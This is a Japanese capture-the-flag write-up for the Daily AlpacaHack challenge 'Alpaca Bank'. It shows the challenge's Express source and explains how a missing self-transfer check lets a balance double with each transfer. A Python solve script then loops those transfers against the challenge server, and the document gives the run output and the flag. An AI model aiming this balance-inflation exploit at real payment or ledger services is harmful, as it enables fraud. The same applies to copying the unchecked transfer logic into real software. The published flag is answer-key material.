はじめに
Daily AlpacaHackの2025年12月11日の問題を解いたので、writeupを書いてみます。
Alpaca Bank
🦙 < 銀行を作ってみるパカ!
- NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。
- NOTE2: この問題は trillion bank - SECCON CTF 13 Quals のオマージュですが、元問題の知識は不要です。
概要
http://34.170.146.252:30021にアクセスすると、次のような画面が表示されます。
You have to earn one trillion yen to get the flag.
とあるので、一兆円稼げばFlagが貰えるらしいです。
このWebアプリの主要な機能はapp.jsに書かれていそうです。
const express = require('express');
const crypto = require('crypto');
const path = require('path');
const app = express();
const FLAG = process.env.FLAG ?? "Alpaca{**** REDACTED ****}";
const TRILLION = 1_000_000_000_000;
app.use(express.json());
const users = new Set();
const balances = new Map();
app.post('/api/register', (req, res) => {
const id = crypto.randomBytes(10).toString('hex');
users.add(id);
balances.set(id, 10); // Initial balance
res.status(201).json({ user: id });
});
app.get('/api/user/:user', (req, res) => {
const user = req.params.user;
if (!users.has(user)) return res.status(404).send({ error: 'User not found' });
res.status(200).json({
user: user,
balance: balances.get(user),
flag: balances.get(user) >= TRILLION ? FLAG : null // 🚩
});
});
app.post('/api/transfer', (req, res) => {
const { fromUser, toUser, amount } = req.body;
if (!Number.isInteger(amount) || amount <= 0) {
return res.status(400).send({ error: 'Invalid amount' });
}
if (!users.has(fromUser) || !users.has(toUser)) {
return res.status(400).send({ error: 'Invalid user ID' });
}
const fromBalance = balances.get(fromUser);
const toBalance = balances.get(toUser);
if (fromBalance < amount) {
return res.status(400).send({ error: 'Insufficient funds' });
}
balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
res.status(200).json({
receipt: `${fromUser} -> ${toUser} (${amount} yen)`
});
});
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});
app.listen(3000, () => {
console.log('Server listening on port 3000');
});
次のような動作をしていることがわかります。
app.post('/api/register', (req, res) => {
const id = crypto.randomBytes(10).toString('hex');
users.add(id);
balances.set(id, 10); // Initial balance
res.status(201).json({ user: id });
});
↑ユーザー登録をすると残高が10円として登録されるようです。
app.get('/api/user/:user', (req, res) => {
const user = req.params.user;
if (!users.has(user)) return res.status(404).send({ error: 'User not found' });
res.status(200).json({
user: user,
balance: balances.get(user),
flag: balances.get(user) >= TRILLION ? FLAG : null // 🚩
});
});
↑/api/user/:userを見ると、残高が一兆円を超えるとJSONレスポンスの flag キーにFLAGが代入されるようです。
app.post('/api/transfer', (req, res) => {
const { fromUser, toUser, amount } = req.body;
if (!Number.isInteger(amount) || amount <= 0) {
return res.status(400).send({ error: 'Invalid amount' });
}
if (!users.has(fromUser) || !users.has(toUser)) {
return res.status(400).send({ error: 'Invalid user ID' });
}
const fromBalance = balances.get(fromUser);
const toBalance = balances.get(toUser);
if (fromBalance < amount) {
return res.status(400).send({ error: 'Insufficient funds' });
}
balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
res.status(200).json({
receipt: `${fromUser} -> ${toUser} (${amount} yen)`
});
});
↑ユーザー間での送金機能のようです。
この部分をよくみてみると、fromUserとtoUserが一致していないことを確認する機能がないとわかります。つまり、自分に送金することができるようです。
さらに注目したいのは次の部分です。
const fromBalance = balances.get(fromUser);
const toBalance = balances.get(toUser);
if (fromBalance < amount) {
return res.status(400).send({ error: 'Insufficient funds' });
}
balances.set(fromUser, fromBalance - amount);
balances.set(toUser, toBalance + amount);
送金する人の残高と送金される人の残高は、それぞれ変数fromBalanceとToBalanceに代入されて送金処理が行われています。つまり、自分から自分に送金する場合、自分の残高がfromBalanceとtoBalanceのどちらにも代入されます。
つまり、自分に対して送金を行うと、送金した分だけ残高が増えるということです。
解法
残高の全額を自分に送金することを繰り返せば、Flagの取得ができそうです。初期残高が10円なので、数十回繰り返せば良さそうです。
手動で行うこともできますが、APIを叩いて自動化させましょう。
import requests
base_url = "http://34.170.146.252:30021"
print("Registering user...")
#登録APIを叩く
response = requests.post(f"{base_url}/api/register", json={})
#結果を確認
if response.status_code == 201:
data = response.json()
my_user_id = data["user"]
print(f"Registered successfully. User ID: {my_user_id}")
else:
print(f"Registration failed: {response.text}")
print("Step2: Check the initial balance...")
# urlの中にIDを埋め込む
url = f"{base_url}/api/user/{my_user_id}"
response = requests.get(url)
data = response.json()
current_balance = data["balance"]
print(f"Current balance: {current_balance} yen.")
print("Step3: post to me...")
target_amount = 1_000_000_000_000
#現在の残高が1兆円になるまで繰り返す
while current_balance < target_amount:
payload = {
"fromUser": my_user_id,
"toUser": my_user_id,
"amount": current_balance
}
#送信APIを叩く
response = requests.post(f"{base_url}/api/transfer", json=payload)
if response.status_code == 200:
print("Transfer successful.")
current_balance = current_balance * 2
print(f"New balance: {current_balance} yen.")
else:
print(f"Transfer failed: {response.text}")
break
print("Check the Flag...")
response = requests.get(f"{base_url}/api/user/{my_user_id}")
data = response.json()
if "flag" in data:
print(f"Flag: {data['flag']}")
else:
print("Flag not found.")
実行結果
$ python solve.py
Registering user...
Registered successfully. User ID: c29c7fd3bc380516fe83
Step2: Check the initial balance...
Current balance: 10 yen.
Step3: post to me...
Transfer successful.
New balance: 20 yen.
Transfer successful.
New balance: 40 yen.
Transfer successful.
New balance: 80 yen.
Transfer successful.
New balance: 160 yen.
Transfer successful.
New balance: 320 yen.
Transfer successful.
New balance: 640 yen.
Transfer successful.
New balance: 1280 yen.
Transfer successful.
New balance: 2560 yen.
Transfer successful.
New balance: 5120 yen.
Transfer successful.
New balance: 10240 yen.
Transfer successful.
New balance: 20480 yen.
Transfer successful.
New balance: 40960 yen.
Transfer successful.
New balance: 81920 yen.
Transfer successful.
New balance: 163840 yen.
Transfer successful.
New balance: 327680 yen.
Transfer successful.
New balance: 655360 yen.
Transfer successful.
New balance: 1310720 yen.
Transfer successful.
New balance: 2621440 yen.
Transfer successful.
New balance: 5242880 yen.
Transfer successful.
New balance: 10485760 yen.
Transfer successful.
New balance: 20971520 yen.
Transfer successful.
New balance: 41943040 yen.
Transfer successful.
New balance: 83886080 yen.
Transfer successful.
New balance: 167772160 yen.
Transfer successful.
New balance: 335544320 yen.
Transfer successful.
New balance: 671088640 yen.
Transfer successful.
New balance: 1342177280 yen.
Transfer successful.
New balance: 2684354560 yen.
Transfer successful.
New balance: 5368709120 yen.
Transfer successful.
New balance: 10737418240 yen.
Transfer successful.
New balance: 21474836480 yen.
Transfer successful.
New balance: 42949672960 yen.
Transfer successful.
New balance: 85899345920 yen.
Transfer successful.
New balance: 171798691840 yen.
Transfer successful.
New balance: 343597383680 yen.
Transfer successful.
New balance: 687194767360 yen.
Transfer successful.
New balance: 1374389534720 yen.
Check the Flag...
Flag: Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}
Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}が得られました!
おわりに
フラグにもあるように、今週末(執筆時点)にはSECCON CTF 14の予選が開催されますね!参加される皆さん、頑張りましょう!!
